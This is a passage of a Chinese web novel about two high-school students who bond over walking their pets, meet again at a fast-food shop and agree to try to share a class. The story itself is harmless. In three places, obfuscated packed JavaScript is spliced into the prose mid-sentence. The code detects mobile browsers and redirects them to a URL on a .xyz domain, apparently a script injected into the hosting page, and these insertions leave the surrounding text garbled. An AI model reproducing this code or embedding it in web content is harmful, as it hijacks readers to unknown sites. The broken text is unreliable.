汉堡加上鸡块一杯可乐端到桌上,潘决也没了势要减肥的心,这加了多少科技,怎么这么香啊!他大口吃着,讲话不清晰,陈峤嫌弃瞥他一眼,让他吃完再讲。 潘决吞咽一大口,吸一口可乐,“哦哦哦,我刚刚在门口好像看见上回吃早饭的时候,那只可爱狗狗的主人了。” “本来还想打个招呼,撸撸她的小狗,但人家好像没认出我来,我就不好意思打招呼了。” 少女高挑纤薄,齐刘海遮眉,一双乌黑的眼淡淡扫过来,清冷得像诗中美人,磁场太有距离感,潘决没那勇气上前去打招呼。 陈峤滑着手机,界面停在两个人的聊天框中。 “你怎么对人家的狗执念那么大呢?”陈峤放下手机瞧他一眼。 潘决不以为然,“不喜欢一只白乎乎可爱的小狗,难道喜欢你那只成天只会骂人的鸟啊。” “下次它再骂我死胖子,我非得给它炖了!” 陈峤笑看着他。 潘决觉得这店空调开太低有点凉飕飕的,他摸了摸后脖颈,小声嘟囔,“不炖就不炖,我还嫌难吃。” “嗯?”陈峤好笑看着他,“说什么?” 潘决一副敢怒不敢言的模样,“没什么。” 身后响起外卖订单的声音,陈峤起身去打包,将东西都装进去,订好。又忙了几单后闲下来了,他坐在收银台的位置玩起手机,他很少刷空间,列表好友也是少得可怜。 班级群在放暑假那一天就退出了,高二分科分班,大家成为同学的概率太小,他之前加的一些班干部和同学全部删了,删的那天他跟潘子在夜宵摊吃烧烤,潘决问:“撕破脸了啊,那改天我叫我班上的同学出来会一会他们。” 陈峤笑一声,“什么撕破脸,觉得他们占空间而已。” 这群不相干的人没什么必要留着,真挺占空间的,而且大家本身相处算不上愉快,何必难为他们呢,删了对他们挺好的。 潘决哦一声,“还以为要揍他们呢。” 在几次明远学校门口等陈峤的时候,听到过风言风语,说什么的都有,听得潘决拳头捏紧,当场就攥住一个男生衣领子,让他再瞎讲话试试,如果那天陈峤再晚点出现,那个人没法全须全尾地离开。 潘决听不得这些人在背后这样讲陈峤,气得跟豚鼠一样,而陈峤跟个没事人一样。 陈峤给自己倒了一杯冰可乐,点开空间,还是高夏白天发的动态。 他点开图片,又放大几分。又往下滑其他动态,还是高夏的。 高夏发的动态基本都是小狗。 陈峤看了一会儿,最终没点进她的空间,他冷静地想了一会儿,他这是干嘛?他对别人的生活那么好奇干嘛?难道因为那只狗? 他的确很想养一只狗狗……嗯,应该也是执念别人家的狗。 他发消息:【明天还是那个公园遛狗?】 - 遛完狗回到家的时候已经很晚,高夏一路上感受到了盛夏热情,锅包肉也从刚开始的微笑变成挎着一张脸。锁拧一圈,推门进去时,高夏已经无力骂锅包肉,任由它叼着自己粉色拖鞋跑。 她一只脚穿着鞋,一只脚没穿,走到锅包肉趴下的地方穿上另一只鞋,走了几步远又觉得不解气,返回蹲下,对着小狗爪子拍一下。锅包肉反击拍回去,一人一狗就这么打起来了。 妈妈从房间出来,看了一会这幼稚场面,笑着摇摇头,然后说,“宝宝快去洗澡,瞧热得刘海都成一团了。明天让你爸去遛狗,你在那吹空调看店。” 高夏走神听妈妈讲话去了,被锅包肉多拍了两下,她点点头说好,而后垂头快速拍两巴掌立马跑进厕所。锅包肉嗷呜嗷呜叫跑到厕所门口。 看到陈峤消息的时候她跟最后一道物理题死磕上了,她一时半会解不出来,就想着先放松一下。解不出来题的时候心会浮躁,那时候她就会转移一下注意力,等心静下来再去研究那道解不出来的题。再解不出来她就会选择去看答案了,理清逻辑总结做题技巧步骤,再找相似的题型反复刷几遍。 高夏深呼吸一口气,把真题集合上,拿起一旁放着轻缓音乐的手机。 陈峤的消息在那亮着红点。 她忽然想到,明天是爸爸去遛锅包肉,但她也可以再次拿过遛狗权,不过今天真的很累了,于是回复:【是的,但是我明天不去遛狗,我爸爸去。】 那头还没有回复,高夏去刷了刷空间动态,看到班长在那发了一道数学题,并配文:这是给人做的题? 下面好多高一班上的同学在评论。 【不是说好的大家暑假一起摆烂,你怎么偷偷卷起来了!大!叛!徒!】 【这题我会,开学一周早饭,成交否?】 【不是,你怎么就学到高二知识了啊[哭]】 【27号你最好戴着头盔来学校[微笑]】 ...... 高夏默默点个赞,学霸嘴里的没学习不能相信一点。她又刷了两条,陈峤回复的消息弹了出来。 陈峤:【好。】 然后没有然后,两个人默契没有进行下一个话题。高夏把窗户开大了点,蚊香的作用微乎其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15867124|176180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微,手臂大腿多出几个蚊子包,她心静下后关上窗,再涂上青草膏,她发现青草膏的味道比花露水的味道更让人心静一点。 那道物理题没有靠着答案弄清楚逻辑,高夏自己琢磨出来了,写完最后一个步骤,她带着小雀跃哼起歌来。 这一晚睡得很舒服。 后面几天高夏都没有去遛狗,在爸爸胶片店里守着然后刷题。中间沈昭昭来找过她,确定梁葭那天有时间吧,然后带什么设备去。 她还拎着新头盔跟高夏说,到时候拿这个去让偶像签名。 上回那个头盔价格高,沈昭昭第二天就去报警了,但那破小区物业早跑路了,摄像头全坏的,追回无望。后来她又去某鱼看能不能再收一个,然后就发现,她高价买回来的头盔是假的......是卖家自己模仿签的。 沈昭昭对比了好久,这字迹可以说一模一样,保证正主来了都分不清。 沈昭昭怒骂黑心卖家,卖家发出冷冷冰冰诛心的文字。 【我上面只是说梁葭签名,又没说梁葭本人签名,你自己蠢怪我?】 把沈昭昭气晕了快,投诉举报各种手段都使上了,在看到那人号被封时才怒火平息。 高夏知道这事的时候笑了好久,然后发摸摸头抱抱的表情包过去,又给她发了个红包安慰。最后实在忍不住说了一句:“你真的每天上一当,当当不重样。” 沈昭昭追星路上上过的当可以写成一本书。 两个人确定好以后就等待那天到来。沈昭昭前一晚睡不着觉给高夏打电话连麦,高夏到后半夜的时候眼皮很重,几次合上,又被沈昭昭一声尖叫吓醒。 她在床上胡乱摸着手机,嘴上下意识问怎么了怎么了? 沈昭昭说没什么啊,就是想到明天见偶像好激动啊。高夏沉默了一阵,淡淡一笑,“挂电话了。我好困,你再拉着我不睡觉,明天给你偶像拍黑图。” 沈昭昭投降。 电话一挂,睡意忽然减少了,高夏想不明白,前面不是快困死了吗?想不明白又接着玩会儿手机,看了看国际物流,她算了一下时间,等这套漫画到的时候已经开学了。 漫画不能带到学校去了,她也被收过几次。 这套被收走的话,她会很心痛。 刷空间是她每天玩手机的一个流程,也不知道要看什么,反正就会点进去刷一刷。往下刷了几条以后,她疑问着嗯了一声,反复确认发动态的人是谁。 陈峤发了一张小鸟的图,和一个完美西瓜的图。 底下两个评论。 厂里打螺丝:【臭鸟。】 小白白:【好鸟好瓜[大拇指]】 小白白:【孔雀开屏】 陈峤回复了小白白第二条评论:【?】 小白白:【是谁】 陈峤:【话多,拉黑了。】 厂里打螺丝加入群聊:【不是,你们在说什么啊,我怎么听不懂??】 高夏闷笑一声,暗夜中翻身,腿间夹了长条抱枕。她戳戳屏幕,点了个赞。 8. 勾引人 梁葭录制综艺那天,现场人特别多,因为是室外录综艺,好多不知情的路人也在围观。梁葭很好认,个高肤白,红唇明艳型美人,站在一堆明星中也是出挑的。其中还有几个大流量男星。 沈昭昭看到最火的那个顶流,失望啊一声,“他本人比例怎么这么差啊......” “我姐姐都这么完美了还经常被挑刺,这男的丢到人群里都找不到了怎么没人说啊......” 身旁同样想法的不少。 高夏其实分不清男明星,她感觉他们长的都好像啊,妆容差不多,她问是哪个啊,沈昭昭给她指了一下。 确实,比例太差了,头大腿短,整体看上去跟帅哥一点也不挂钩。沈昭昭给她看网上照片,高夏惊诧不已,这......货不对板啊。 沈昭昭想了想,脑海中浮现很多个人的脸,最后说:“都还没我们学校那个陈峤帅呢。” 高夏赞同点头:“嗯!” 陈峤之前好歹也是学校风云人物,如果有选校草,他就是大家默认的校草。关于他的闲言碎语再多,也没人质疑他那张脸。 沈昭昭大失所望,决定一一取关那些男明星,她将投入更多女明星的怀抱。 梁葭路过她们的时候,齐声尖叫了起来,沈昭昭幸福得快晕了,喊着梁葭的名字。高夏是个无情的拍照机器,快速拍图,然后从取景器中露出脸,放下相机,节目组的相机那时扫过来,镜头在她这里多停留几秒。 她浑然不觉低头摆弄相机。 奶白色头盔一直拎在手里,还有一封信,沈昭昭拉着高夏往前跑。 一直到了晚上,才有空闲的时间,沈昭昭终于找到机会把信交给梁葭,再问一问能不能签名,抱着同样想法的人也有很多,一蜂窝涌了上去。 高夏在人群外,她往里瞧了瞧,沈昭昭应该没事,她也就没再管,举着相机四处拍拍。 也不知道过了多久那头哄闹的人群忽然散开,梁葭被经纪人和保镖护着走,那头还一直在喊维持秩序,沈昭昭蹦蹦跳跳走过来,她信给出去了,签名也拿到了,梁葭还多看了她一眼诶!太幸福了吧! 沈昭昭走到高夏身边,抱住她,“夏夏,我觉得我现在是世界上最幸福的女人。” “有你一直陪着我,我还见到了梁葭,她刚刚还对我说好好学习诶!她身上香香的,你身上也香香的。”沈昭昭都要哭了,“夏夏......” 高夏其实不太喜欢煽情,她拍了拍沈昭昭的背,安慰人也一直欠缺火候,“好啦,明天记得请我吃麦当劳就好了。” 沈昭昭疯狂点头。 香樟树下迎着晚风,耗尽最后一丝电的小风扇挂在脖子上,斜跨着相机包,高夏跟沈昭昭并排骑着,两个人也不知道在笑什么,反正沈昭昭先笑的,高夏看她一眼也不自觉笑起来。 在路口时,沈昭昭挥挥手:“你不要熬夜选图修图啊,这个不着急的,你慢慢来就好了。” “明天我去你家楼下等你。回家注意安全啊!到家跟我说一声。” 高夏点点头,“你也是,到家说一声。” 追星真的是体力活,高夏深深感觉到了,从早上等到晚上,不是特别喜欢也做不到这一步。她路过711便利店,停好小电驴,进去买一瓶小叶九里。 比人更先到的是声音,熟悉的声音对上记忆中的人脸,显影的那张胶卷成相完美扫描进脑中。 “再打电话,电话也拉黑。” 711便利店自动感应响起,陈峤挂断电话,抬眼对上一道视线,两个人都挺意外又不意外的。现在再偶遇多少次他们都只会说巧啊,你也在这。 视线相撞那瞬间,高夏拿着饮料心里在想,确实比今天见到明星还要帅,身材比例也好。 两个人都笑了一下,陈峤迈着大步伐走过来,说了一声好巧,高夏也点点头说好巧啊。 陈峤依旧拿的那瓶三得利乌龙茶,两个人分开结账,店员姐姐给高夏结账的时候还问了一句,怎么最近没见到耶耶啊。高夏说最近都是她爸爸在遛狗,去的另一个公园好像。 店员姐姐好可惜说了一句好吧,她最喜欢高夏家耶耶的手感了。 出了便利店又感受到夏日的具象化,他偏头看去,少女仰着头喝饮料,颈线修长,领如蝤蛴,侧脸轮廓清晰,骨肉匀称。 齐白一直追问孔雀开屏想要吸引谁?他嗤笑,什么想吸引谁,他才不会做出这样的事,幼稚。 那头相信不了一点,一个注册这么多年的账号只有一条动态,天大的事他都不放心上,这个世界没有值得他记录的,怎么就发了第二条那么普通的日常? 陈峤觉得他不去做侦探推理真是可惜,齐白诶一声,说你怎么知道我加了推理社。 综上所述,你就是要勾引人。 齐白问他是不是明远的? 陈峤彻底无语,也懒得辩驳,只是默默拉黑,那晚失误而已。 但偏偏她点了个赞,陌生的网名出现在点赞栏,齐白跟条狗一样嗅觉灵敏。 “我先回去了,拜拜。” 陈峤思绪收拢,哦哦一声,然后问:“明天遛狗吗?” 高夏点头,“遛啊,你呢?” 陈峤:“我也遛。” 高夏:“那明天出来的时候发信息。” 约定好,两个人骑上各自的交通工具,短暂同路一段,陈峤向她挥手再见。 - 翌日一早,雷达闹铃响了几次又被一只纤细的手摁灭,沈昭昭的声音比雷达更有用,她在楼下喊。 高夏坐起来,迷茫了半天,她这是做梦做出幻觉了吗?还是现在是梦中梦? 她昨晚睡得晚,凌晨三点才睡,一沾枕头立马被梦拉进去。有人拉动锯子咧着嘴追着她跑,她来不及反应,凭着本能一直往前跑。安全点是海上灯塔顶,她没找到船,只找到小舟,所以拼命划啊划。同一片海面,她看见了船,正要招手呼救,然后,她看见甲板上一只威风凛凛的萨摩耶...... 萨摩耶狼叫声跟沈昭昭的声音一起出现。 高夏觉得可能是梦中梦,待会儿那个拿锯子的怪男人还得追上来,于是又躺下,拿被子蒙过头。 “高夏!!” 消息不回电话不接,沈昭昭蹲在树下眼巴巴望着楼上,她好希望能从打开的窗户看见那张漂亮脸蛋。盛夏日的早晨,只是出门就令人汗流浃背,头顶的蝉撕心裂肺叫,她也在撕心裂肺喊。 高夏啊高夏,你再不醒来,等下出来就要看见成为干尸的我啦! 沈昭昭给自己脑门贴上冰贴,望眼欲穿盯着那扇窗。 木框窗由一点小缝展开,一张素净的脸探出窗外,沈昭昭生如死灰的眼复燃,蹦跳起来,“夏夏,下来开门!” 以往都不关的单元门这几天都关上了,听说有变态偷女生的贴身衣物,顶楼那户人遭遇最惨,他们家的衣物都晾在外面,回来只看见空空的衣架。高夏下楼开门,看见的是一个缺失水份焉巴的沈昭昭,她赶紧拎着水壶浇上水,植物沈昭昭抖了抖绿叶。 沈昭昭一口气喝了大半瓶水,坐在高夏家沙发上控诉她今天的罪行。 高夏全盘接收,在脑海组成一个文件包,然后放到一边落灰。她也没想到最爱睡懒觉的沈昭昭今天起那么早,她看手机这才九点半。 她在床上闭目躺了一会儿才发觉不对劲,这声音太真实了,她蒙在被子里掐了一下自己,有痛觉,不是梦。然后立马弹起来,整个身子趴在书桌上推开窗,看见树底下的沈昭昭。 “你起这么晚是不是昨晚熬夜修图了?”沈昭昭叉着腰说。 高夏点一下头,“昨晚写了几张试卷我看还没有睡意就顺手修了。” 沈昭昭刚想佯装生气骂一骂她,捕捉到话中信息啊了一声,“你回来还写试卷了啊?!” 陌生人怎么卷她都不急,身边人的卷令她心慌。不是,这样显得她懒如猪。沈昭昭手垂下,哀怨的目光看着高夏,“你简直不是人。” 高夏打了个哈欠,“我不是人那是什么呀?”她抿唇笑了笑,“我把图片传送给你。” “菩萨,嘻嘻。”沈昭昭立马奉上笑脸,屁股挪了挪,挨着高夏坐。 中午两个人到麦当劳点单,高夏点了双层安格斯和麦旋风,沈昭昭犹豫半天点了双吉跟麦乐鸡块。靠窗的位置,两个人拉开椅子坐下,桌上一瓶小叶九里和阿萨姆。 夏日似要将城烧穿,高夏觉得没几个人像他们两个一样这么傻,大中午不躲在家里跑出来让太阳晒,可谁想,一转头,又看到两个一样傻的。 是高一的同学。 卢佳意跟齐雨两个人手挽手进来,穿着同样的短袖,手腕处还有颜色不同款式一样的手链,两个人显然也看见她们了。 “高夏,沈昭昭!” 卢佳意跟齐雨一起走过来,高夏没吭声,只朝卢佳意点点头,沈昭昭抱臂哼一声,偏过脸。 卢佳意胳膊碰了碰齐雨,齐雨有点不情不愿地说:“沈昭昭上学期的事我跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那个红色头门的功夫汉堡映入眼帘,高夏不敢置信沈昭昭说了一路的绝世好地方就是这儿?她低头看了看手上麦当劳的包装袋,再抬头看功夫汉堡冷清的门店。 高夏:“你确定你不是来气死老板的?” 沈昭昭:“哪有当老板了还自己跑来上班的啊。放心,我待会在里面点个蛋挞或者可乐,这样总不能把我们赶出去吧。” 没给高夏回答的机会,沈昭昭已经走进去了,高夏无奈跟上,她都不好意思把麦当劳的纸袋子放前面,她背着手进去。 员工头也没抬就说:“欢迎光临,想吃什么自己看。” 高夏默默把背着的手收了回去,麦当劳的logo曝露在功夫汉堡店内。 沈昭昭有点高兴,是熟人,蛋挞可乐都不用点了,“嗨喽,陈峤,你还记得我们吗?” 高夏把东西放到桌上,抬眼也看向收银台。 陈峤纳闷呢,从手机里抬起头,看见沈昭昭,脑海想了想,目光又偏移到高夏,想起来了。 “啊,是你们,算命那个。”陈峤也看见了桌上的麦当劳,觉得好笑地说:“怎么麦当劳把你们赶出来了?” 被提到算命的事,沈昭昭不好意思挠了挠脸,她再也不会去路边算命了!还是道观的师傅靠谱。 高夏啊一声,也挺不好意思,捏了捏麦当劳的纸袋,“这个......” 沈昭昭接话回答:“麦当劳里有我们讨厌的人,看见没有食欲的那种。借你这宝地一坐,没问题吧?” “随意。”反正不是他的店,陈峤无所谓说道。 陈峤看见她们两个人也是有点惊讶,但也就一瞬,然后他们各自不打扰。 沈昭昭拿着手机跟高夏说悄悄话。 沈昭昭:【你跟他熟不熟啊,不是说在公园碰到好几次了吗?你还摸过他的鸟,怎么看起来你们一点都不熟啊?】 高夏看见这句话无语中,这话太有歧义啦。 高夏纠正道:【是鹦鹉鹦鹉!!】 沈昭昭:【好好好,鹦鹉。】 沈昭昭:【你们到底熟不熟啊?!】 高夏:【应该不算很熟,但也不算很陌生?】 回答了个寂寞,沈昭昭撇撇嘴,那就是不熟。 不知道为什么高夏有一种当人家面讲人家坏话的心虚感,她虚虚抬眼,越过沈昭昭头顶对上一道目光,那道目光的主人笑一下,拿起手机晃了晃,示意她看手机。 高夏低头。 陈峤:【你们吃点什么?我去后厨现做。】 9. 女侠客 一六年的夏天是最热烈的,一切都在蓬勃发展,令人无限期望。 高夏看着聊天框,莫名笑起来,搞得对面的沈昭昭一脸懵。 沈昭昭:“你笑什么啊?我脸上沾酱料了嘛?” 高夏摇摇头,说没有,然后问:“你还有什么想吃的嘛,我们的同学请客。” “同学?”沈昭昭后知后觉反应过来,扭头去看陈峤,后者点点头,也问:“吃什么?” 沈昭昭有种不妙感觉,不熟?谁说这两人不熟的?他看了看陈峤又看高夏,手中的汉堡吃也不是,不吃也不是。 半响,她说:“那就一份蛋挞跟薯条吧。夏夏你呢。” 高夏已经有点饱了,没再点别的。报完单,收银台的人就进到后厨去了。 沈昭昭探身询问,眼神时不时瞥一眼高夏的手机,“他是不是问你了?” “嗯。”高夏想了一下把手机给沈昭昭看。 看看聊天记录也没有什么,沈昭昭经常让她看她跟别的男生的聊天记录,还要问怎么回啊?所以高夏瞧她好奇的模样也就直接给她看了。 沈昭昭大失所望,“你们就这么聊天啊?” 高夏不懂:“这样不对吗?” 沈昭昭:“额,也不是不对,就是太有礼貌了。” 加为好友的系统提示消息在最顶上,两个人的聊天都透着几分礼貌距离。 大耶耶:【你好,我叫高夏。】 C:【你好,陈峤。】 大耶耶:【有机会再一起遛宠[握手]】 C:【好。】 - 这下确定两个人确实没有很熟了,礼貌刻进了他们两个人骨子。沈昭昭把手机还给高夏,问今晚你们两个要一起去公园吗?高夏说是啊,沈昭昭流露出羡慕,晚上她妈不让她出来,不然一定要去会会那只很会讲话的鸟。 蛋挞跟薯条上桌,两个人一起说了声谢谢。 陈峤:“不客气。” 沈昭昭要拉他一起坐下吃,“老板不在,偷懒一下没关系吧。” 陈峤指指监控,“老板不在,监控在。” “好吧。”沈昭昭自己吃起来,薯条蘸了番茄酱喂给高夏,“夏夏你快吃,这个味道一点都不输肯德基的。” 她朝陈峤比了个大拇指。 高夏是真的饱了,但还是勉强吃了,她尝不出味道的差别,薯条不都差不多嘛?除了那种软踏踏的,难吃,别的在她眼里味道都是不错。 两个人一直在这家功夫汉堡待到了下午四点半,因为再过会儿沈昭昭就得回家补课了,高夏闲的时候又在手机做了几篇英语阅读理解,沈昭昭直呼太可怕啦太可怕啦,喝了一口阿萨姆压压惊,然后也跟着做起阅读理解来。 阳光洒落身上,拂上一层金光,让沈昭昭觉得高夏菩萨形象更加具象化了,她退出学习软件,点开相机偷拍一张。 身后是林荫道,来来往往车辆,镜头偏爱天然去雕饰的少女此刻低头眉头轻皱,似乎遇到难题了,斜阳照在她身上,动图捕捉的瞬间,皱着的眉头松开,眼含笑。 题迎刃而解了。 沈昭昭手机里除了梁葭的照片最多,另一个最多就是高夏了,沈昭昭很爱拍高夏,觉得她哪一刻都是美得令人赏心悦目。她专门做了一本小相册,打算记录到高三毕业送给高夏当做毕业礼物。 小学就相识的两个人约定一起闯当江湖,做一辈子的好友。 沈昭昭陷入回忆,电话铃声将她美梦唤醒,她赶忙接听电话,说着好好好,电话挂断才松口气。 “我妈太可怕了,她今天又要提前下班。我得赶紧回家装作学习了好久的样子。”沈昭昭喝完最后一口阿萨姆,“夏夏,你现在回去吗?” 沈昭昭察觉最近自己妈妈下班时间越来越早,留了个心眼,所以才选择这家功夫汉堡,离家近方便她随时开溜, 高夏说自己等下去爸妈店里,她也觉得奇怪了,沈妈妈以前也没这么逼紧过昭昭啊,这次确实有点反常,但她也没想明白其中缘由,沈昭昭就更加不明白啦。 她回到家就像以前小学时候把高夏喊到家里玩,两个小孩玩了一会儿过家家的游戏,又打开电视看动画片,听见楼下汽车的声音,沈昭昭立马跑到窗户前架起凳子往下看。 “完啦完啦,我妈妈回来了,夏夏你快把电视关了,然后把风扇对着电视吹。” 说完,她迈着小短腿去房间拿扇子使大劲给电视扇风。 那次高夏在家,其实电视不关也没关系的,但是肌肉记忆领先大脑做出反应,等回过神时,俩小孩已经在沙发上看起书。 这次沈昭昭回到家坐在书桌前,摊开数学试卷,装模作样做了几道选择题。 身后传来门拧动的声响,沈妈妈推门进来,她像是看穿了一切把戏,也懒得再替对方找补,带着浓浓的失望,“昭昭,你什么时候能懂点事。” 沈昭昭不明白,她这个年纪要做到什么地步才能算作懂事呢? - 汉堡功夫晚饭点的外卖很多,高夏看陈峤开始忙起来了,另一个交班的同事也来上班了,目光在高夏身上多看了两眼,又看桌上的麦当劳纸袋。 他问陈峤,“怎么有人拿着麦当劳来我们这破店吃啊?麦麦环境不比我们这边好多了啊。” 陈峤拿着单子分别摆好,方便看,“你管人家。” 同事嘁一声,他一直不喜欢陈峤那冷淡样,装,他撑着收银台看向靠空调那桌的女孩,又说:“那女孩儿挺好看的,还在读高中吧,好嫩。” 陈峤打包好一份外卖,手指叩了叩台面,冷声道,“你闲的没事?去打两杯可乐。” 同事看他更不爽了,转过身翻了个白眼。 两个人都是暑假兼职的,老板图省钱,正式工带他们一周熟悉了,立马将人解雇,店就交给俩高中生,偶尔自己也来店里坐坐。 这家店堂食少,外卖单多,尤其凌晨,正式工也没那么重要,等开学前一周他再招个正式工。 同样年纪的少年看彼此最生敌意,尤其面对一个比自己高比自己帅的人,嫉妒的心比想要结识做朋友的心强太多了。段伟庆很讨厌自己这个同事。 尤其每次看到有女生来点单藏不住偷看的目光时,就更加讨厌了。 陈峤到了自己下班点,换掉工服出来,高夏还坐在那,全程没抬头,沉浸题海中。 他凑过去看了一眼。 走了几步又折回在对面坐下,他静静等着,手撑着脸,偶尔看一下手机,偶尔看一下她。 终于等到她畅游题海结束,陈峤放下手机,听到对面稍稍诧异的声音。 “你什么时候坐在这的?” “前面一会儿。” 高夏瞥一眼手机,居然已经六点了,她把桌上残渣剩余丢进垃圾桶,起身,“我先回家吃个晚饭,大概七点半左右快八点出来。你呢?” 陈峤也起身,“我跟你一样吧。” 两个人一起离开汉堡店,身后段伟庆的眼珠子瞪得老大,咬牙切齿呵一声。 锅包肉在甜品店门口趴着,看见高夏立马精神起来,爬起来叫。高夏刹车,对旁边骑自行车的少年说:“我到了。” 她指一指甜品店,“我妈妈开的店,你有什么喜欢吃的甜品嘛?我晚上给你带一块,就当谢谢你白天请我们吃的薯条蛋挞啦。” 陈峤顺着她手指方向看去,熟悉的小狗,树枝枯叶风铃在顶上摇,再往上是简单的门头,店名在树下。 他不爱吃甜品,看向高夏,“慕斯吧。” 店里慕斯口味多,他也没说什么口味,高夏觉得陈峤有个坏毛病,回消息慢,自己都给他发了快半小时他才回。 陈峤:【随便。】 高夏:…… 随便这个回答很巧妙,有两种解读,真的随便,什么都吃;另一种,我说随便不是真的随便,我只是现在不知道吃什么,你做好决定还得挑我心坎上。 高夏倾向于第一种,刚准备拿个自己喜欢的抹茶味,那头又发来消息。 陈峤:【我不怎么吃甜品,不太清楚有什么口味,你挑你平时爱吃的口味就好。】 高夏:【好的。】 陈峤:【嗯。】 拿着甜品,牵上锅包肉,高夏以往都是步行去,天热甜品易化,她想了想还是把锅包肉抱到电瓶车上,甜品挂在把手上,迎着风去往公园。 本来必经路还要再去711一趟,但是等红灯还要转个弯,她有点嫌麻烦了,直接去了公园,驶离711时锅包肉叫起来,高夏脚动了动。 “锅包肉啊,你看你多胖了,还吃,咱们今晚减肥。” 锅包肉嘤嘤叫。 “行啦,爸爸这段时间可没少给你开小灶,我刚刚抱你又重了!”高夏装作严厉,“不可以再吃了,再胖下去对身体不好。” 锅包肉今年六一满的四岁,家里有溺爱的爸妈, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15867126|176180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体重一直居高不下,高夏决定做那个恶人。 公园小电瓶不能开进去,虽然小路没人管,但这里小狗狗多,高夏把车停在外面,头盔放到车座下。路上有个大爷问她这什么狗这么大,高夏说萨摩耶啊。 大爷咦一声,仔细又瞧,“你这萨摩耶怎么比我家阿拉还大,喂什么粮长的?” 高夏声音细弱:“没有吧……” 脑海中已经在风暴锅包肉减肥食谱。 又聊几句,大爷被老伴叫走,她往前走了几步就看见陈峤了,小鸟飞奔来她的头顶。锅包肉对小鸟的兴趣就一会儿,后面发现这不是玩具就没兴趣了。 小鸟有时还要去啄锅包肉的毛,锅包肉又气又急,爪子不敢拍。 酷暑的夜晚不凉爽,高夏拿随身小风扇吹散暑气,锅包肉跟好朋友玩去了,豆腐脑主人在训练它们玩飞盘,试图能教出个边牧。 豆腐脑柯基,天生的捕猎手,听说在高夏来之前,被主人狠狠教训了,拉到比较远的地方训练去了。 高夏坐在长椅上捧着小鸟撸。 小鸟怎么能养得这么亲人呢?高夏觉得好神奇啊,她上次有去搜索鹦鹉怎么养,都说手养鸟从小就得拿手心盘,盘到它习惯,可这么听话的好像也不多见。 讲文明今日没再语出惊人,老老实实说着夸人的话,高夏撸了一会儿就将它放开,讲文明在地上走来走去。 抹茶味的慕斯不过分甜腻,陈峤原本准备带回去吃,高夏说这么热的天等会儿回去都化掉啦。上一次吃甜品是一年前的事情了,在一家高档餐厅,餐后甜品。 暑气难消,又热又闷,高夏下意识去摸旁边的小甜水,拿起喝了一口才察觉不对劲,她今天没买。 手中的小甜水俨然写着小叶九里,她腮帮鼓鼓,瞪着手中的小甜水,应该是没人喝过的,她缓缓咽下,偏头看着陈峤,眼睛眨了眨。 她生了青山远黛的眉眼,此刻瞧着他,陈峤顿了一下,“来的路上顺便买了两瓶饮料。我记得你好像经常拿这瓶。” 高夏点点头,人真好。 一瓶小甜水一个慕斯蛋糕。 高夏觉得自己发生了一些微妙变化,这样的变化已经很久没有过了。 五岁的小高夏跟着爸爸看武侠片,她看不懂江湖,看不懂刀剑对峙为哪般,看不懂镜头拉近落的那滴泪为了谁。她只看懂了剑舞起来很帅,竹林山水的光影很美,主角都好看。 影片尾滚动的名字,她站起来鼓手拍掌,终于结束了,她可以看《魔法咪路咪路》了。 爸爸老神在在在一旁说着一些话,她也听不懂啊,但是不想爸爸的话没有回应,于是她去问,什么是侠义精神啊?侠义,与生俱来的正义,替世人鸣不公。 这是爸爸眼中的侠义。 高夏记住了,那刻开始她决心做个女侠客,在学校有她的地方就有公正,沈昭昭就是那会儿认识的,她帮沈昭昭赶跑了往她头上粘口香糖的坏男生。开家长会时老师还跟爸妈调侃她,班上出了个小包拯,她别过脸哼哼,她才不是什么小包拯,她可是女侠客! 这样的侠义心肠一直到了初中慢慢缩紧,从一个大圈变成小圈,慢慢地,她的侠义只有家人与沈昭昭,其他的人,她不会再无理由去鸣不公的剑。 现在,那把剑在心中微颤,似要争鸣。 人的情绪转变透过眼睛能分明,陈峤不知道身旁的人哪里发生了变化,但一阵风吹过,她给人的感觉就不一样了。 陈峤吃完了慕斯蛋糕,他正要说点什么,高夏比他先开口。 “27号就要返校了。你选的是文科还是理科啊?” 这是两个人第一次离开锅包肉跟讲文明的话题,关乎自身的问题,两个人的距离礼貌都是刚刚好的。 陈峤心中同样有着一个小世界,一杆秤。那里的人不多,一个潘决一个齐白,还有他们的父母。高中,他憧憬过,后来也就那样,他不再把过多的心神放在高中生活的享受。 他用近一年的时间去想自己想要什么,现在也没太想明白,但大致的方向有了。 而她的出现,像是给了他另一种生活可能,现在只需要他轻轻开口。 “理科。” 高夏惊喜:“好巧,我也是。” “你……”高夏心中斟酌许久,最后说了一句,“你愿意和我做同学吗?” “我们现在也算是同学。” “不,我说的是同班同学。” 10. 闯江湖 同班同学。 陈峤反复咀嚼这四个字与那一晚的场景,他躺在凉席上,双手撑在脑后看痕迹斑斑的天花板,夜晚很静,风摇啊摇晃啊晃,窗外蝉叫不休,他心中也随着不休。 手机在一边是潘决的消息,他没回复。 潘子:【老大你怎么回事啊,不是说好今晚出来上网吗?】 潘子:【我去店里找你了。】 